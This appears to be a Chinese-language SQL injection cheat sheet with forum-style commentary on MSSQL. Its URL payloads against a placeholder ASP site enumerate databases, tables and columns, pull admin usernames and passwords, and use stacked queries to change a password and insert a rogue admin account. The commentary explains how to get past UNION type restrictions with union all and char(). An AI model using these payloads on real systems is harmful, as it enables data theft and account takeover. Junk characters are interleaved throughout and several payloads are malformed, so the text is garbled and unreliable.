爆库:5 I& v' d5 g2 u: [# `+ A0 F
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.--
# D5 D# q- I) |- Y* O+ [1 A. HSELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.
" \" K4 ?. S! X; f7 y4 [* S爆下一个库:
% @5 T# V% y2 v) [- j3 Rhttp://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE TABLE_NAME NOT IN ('库名')--
, z' m/ H7 x/ i# V, g7 B# L% S
0 a2 i0 q# I4 ~# X o/ j: O" H爆表:
9 }% |# k! J1 {' `6 d$ e5 O8 xhttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
V0 x$ s2 V( k
6 v$ A: [3 N3 A6 W, |( U" v USELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES.( O! k/ E) U9 d/ Y" r' O6 J
; t8 C( X0 _5 M5 q" x/ H" n爆下一个表+ A1 c& S p5 B7 E) l3 ?
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--2 [2 W: P7 V+ \% G% K2 ^# e) [
8 |, _( w1 q I, Q3 c: L% dhttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%login%'--1 l& P% Z& E& {9 ~
$ K9 @5 n% I9 h. d+ O' k t8 b& K
0 E, s- w$ H0 ~: _ d
4 w' N R# R7 T& ~# }7 G爆字段:
" G9 Q; d4 ^% E: `" D3 a2 vhttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--4 ~: Z" h6 w* \$ N! t9 W& S( O
+ h* `. `7 o4 e1 |* M8 _爆下一个字段
: I* Y( V4 { a: e9 |http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--! @0 D* @! g: g: D: H: H7 B9 _$ z( {
: W1 H7 P3 ?% U/ b) uhttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--
8 | M5 e" M4 d( O) a, x: B Y4 N! R' a
( X2 d/ A6 X N5 n: z- R4 b
爆字段里的内容
3 ]/ |) V- [2 ^. E) }6 E: E+ hhttp://duck/index.asp.id=10 UNION SELECT TOP 1 login_name FROM admin_login--
' E! O' f1 O) b! I# A, L: }& w1 y4 [2 p$ i
http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--
% Q( q4 g9 d0 ]) i- v6 @) c% `6 M& n8 E& B8 H0 T
http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--
7 v; t! S5 Y0 y4 @3 q$ N8 z) T3 S3 k5 p9 v- \7 B
http://duck/index.asp.id=10 UNION SELECT TOP 1 convert(int,password.morpheus.) FROM admin_login where login_name='trinity'--
% H! G" A. v* k* ?5 Z- a( e8 Z8 C H% s2 x; W2 A7 P6 _6 O+ w% {
更新字段里的内容
: L0 k. t% T$ r8 ]0 |http://duck/index.asp.id=10; UPDATE .admin_login. SET .password. = .newpas5. WHERE login_name='neo'--* q, u) ]0 y# a0 t( R4 M
* s7 n( b! m* ^+ A: i
http://duck/index.asp.id=10; INSERT INTO .admin_login. (.login_id.,.login_name.,.password.,.details.) VALUES (666,.neo2.,.newpas5.,.NA.)--+ h n6 Q5 v: R# |* G% g
1 E* m# p1 s/ _8 ~; z2 N) G9 [3 c# J- |2 E4 q, M# Q7 O
* ~. i7 }( N7 _; r. ]
在注射的时候,access和mysql环境下,我们通常是通过union来获取数据的。但是遇到mssql环境,union很多时候都行不通,如果页面不报错,openrowset不可用,往往时候就只有暴力了。这样多不好,大家都是文明人,怎么可以用这么野蛮的手段呢?研究了一下,mssql中的union选择主要有以下几个方面的限制。; b' K, ]3 N6 E7 W4 k
第一个是varchar/nvarchar和int类型的字段union到一起会强制转换出错。这个可以去看superhei大牛N久以前的文章,用and 1=2 把union前面的结果集置空就可以解决了。- r% J1 n) U% S
第二个是当前面语句选择的字段有text、ntext 或者image格式的时候,不能用DISTINCT 方式来选择,而带union的语句必然是以DISTINCT 方式来选择的。这也是为什么很多搜索型的注射点可以用union猜解的原因,因为搜索点的语句很少会选到前面三种格式的字段。Image是二进制格式,一般不会出现在需要回显的sql语句中。这种限制前段时间也看到牛淫给出了解决方法,union后面跟一个all,即union all就搞定了。真是神奇啊,牛淫就是牛淫。
7 n4 B$ b6 k5 f F/ O1 S7 _ 最后还有一个限制是text/ntext 与 int类型的字段 union到一起时并不兼容,会报操作数类型冲突的错误,就算用1=2把union前面语句的结果置空也一样。前几天突然想到,union的时候我们经常用1,2,3……之类的常数来补齐相差的列数。这时候后面的语句选择的都是int类型的字段,遇到前面有text/ntext的字段当然会出错,如果加上引号呢,即'1’,'2’,'3’……的形式?这时候后面的字段都是char或者varchar的类型了,应该就不会出错了。如果注射点过滤了引号怎么办?因为mssql对16进制格式的支持不是太好,很多地方用16进制必须declare――set,那就用char吧,即and 1=2 union all select char(49),char(50)……的形式。
h6 E% g, ?6 E
9 f; g* i% R* M2 b突了了大部份限制的语句
5 T3 H! a# R" R5 e( c* }and 1=2 union all select char(49),char(50),null,null;-- Z0 h3 m2 u2 Q% L. i
) b1 `! y* ]/ ~* O1 w
- s* V1 e0 T: ?( a7 [
null也可以正常执行,不过没有回显,不好判断回显的列数。
! R3 p; F* |' k6 V, U" f: c. i {一般union遇到问题都是有text或者ntext字段,image的很少遇到
; E. U6 B0 J- c' D: ?* }) M, Z3 h- ]9 H" X
可以先null完之后再一个个用1,2,3,4代替,这样就能逼出image类型的列鸟
1 }1 C/ `3 z8 t D+ l& G& L( ^+ S1 v8 e) v+ j f' k2 h4 P
: M C3 u$ v, P/ y
|